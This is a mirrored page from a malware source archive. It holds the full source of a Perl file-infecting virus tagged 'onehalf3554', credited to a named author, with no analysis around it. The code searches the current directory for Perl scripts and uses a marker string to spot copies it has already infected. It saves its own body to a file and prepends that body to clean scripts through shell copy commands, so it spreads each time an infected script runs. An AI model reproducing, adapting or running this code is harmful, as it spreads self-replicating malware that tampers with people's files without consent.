mirror of
https://github.com/vxunderground/MalwareSourceCode
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88 lines
2.1 KiB
Plaintext
88 lines
2.1 KiB
Plaintext
#onehalf3554
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# this perl virus (c)Chernickevich Konstantin
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# http://onehalf.hotmail.ru
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# email:onehalf3554@mail.ru
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system"clear";
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$partone="#End_my";
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$parttwo="_body";
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$EndMarker=$partone.$parttwo;
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$infected=0;
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$BodyCopy=0;
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$textold="";
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# this "while" for detecting *.pl file
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# and output in the $_ local perl variable
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while (<*.pl>)
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{
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$files=$_;
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$text="<".$_;
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$textw=">".$_;
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$textww=">>".$_;
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open(TESTFILE,$text);
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until(eof(TESTFILE))
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{
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$strres=readline(TESTFILE);
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# this procedure detecting a marker in the *.pl file
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# if marker detected then file infected if not then file not infected!
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if ($strres=~ m/onehalf3554/i)
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{
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if ($BodyCopy==0)
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{
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$BodyCopy=1;
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open(VIRUSBODY,$text);
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until ($BodyStr=~ m/$EndMarker/i)
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{
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$BodyStr=readline(VIRUSBODY) ;
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$BodyLoopCount++;
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$BodyArray[$BodyLoopCount]=$BodyStr;
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}
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close(VIRUSBODY);
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}
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$infected=1;
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}
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}
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close (TESTFILE);
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if ($infected==1)
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{
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print "[im detecting old infecting file :]\n";
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print $textw." infected old time.[Ok]\n";
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open(RESERVBODY,">body.bod");
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print RESERVBODY @BodyArray;
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close(RESERVBODY);
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}
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if ($infected==0)
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{
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print $textw."im trying infecting this file now! \n";
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system "cp ".$files." temp.bod";
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open(NULFILE,$textww);
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$NUL="";
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print NULFILE $NUL;
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system "cp body.bod"." ".$files;
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open(DATAFILE,"<temp.bod");
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until(eof(DATAFILE))
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{
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$reloader=readline(DATAFILE);
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print NULFILE $reloader;
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}
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close(DATAFILE);
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close(NULFILE);
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}
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}
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#End_my_body
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